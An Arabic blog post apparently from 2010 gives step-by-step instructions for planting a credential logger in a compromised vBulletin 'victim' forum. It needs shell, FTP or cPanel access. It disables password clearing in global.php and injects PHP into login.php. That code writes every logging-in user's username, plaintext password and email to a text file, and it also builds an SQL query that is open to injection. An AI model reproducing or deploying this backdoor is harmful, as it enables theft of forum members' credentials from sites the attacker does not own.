h1

تسجيل كلمات المرور في المنتديات

مارس 17, 2010

بسم الله الرحمن الرحيم


اليوم ساشرح لكم كيفية تسجيل كلمات مرور و اسماء المستخدمين في المنتديات على ملف خارجي تحدد انت موقعه طبعا سيتم تسجيل الباسوردات غير مشفره اي بدون تشفير و هذا احلى ما في الامر

لتطبيق هذا الشرح يلزمنا

==============================================

شل او اف تي بي اكسس او حساب سي بانل للمنتدى الضحيه

==============================================

اولا:

افتح ملف global.php الموجود في المجلد الرئيسي للمنتدى وقم بالتعديل عليه كالاتي

ابحث عن هذا السطر

——————————————————————————————

$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;

——————————————————————————————

و قم بتغييره كالاتي

——————————————————————————————

//$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;

——————————————————————————————

ثانيا:

قم بفتح ملف login.php والذي موجود في مجلد المنتدى الرئيسي

وابحث عن هذا الكود

——————————————————————————————-

process_new_login

——————————————————————————————-

و قم بإضافه تحته هذا الكود

——————————————————————————————

$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);


$lg_password = $vbulletin->GPC["vb_login_password"];
$lg_file = "./includes/passwords.txt";
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");

while($row = @mysql_fetch_array($sql_query))

{

if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)


{
$fp1 = @fopen($lg_file, "a+");
@fwrite($fp1, $lg_username . ' : ' .  $lg_password." (" . $row["email"] . ")\n");
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, "w");
foreach($new as $values)
{
@fputs($fp, $values);
}
@fclose($fp);
}
}

——————————————————————————————

طبعا سيتم حفظها في هذا المسار includes/password.txt

و بهذا نكون قد انشانا Loging password

اترك رد

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / تغيير )

Twitter picture

You are commenting using your Twitter account. Log Out / تغيير )

Facebook photo

You are commenting using your Facebook account. Log Out / تغيير )

Connecting to %s

Follow

Get every new post delivered to your Inbox.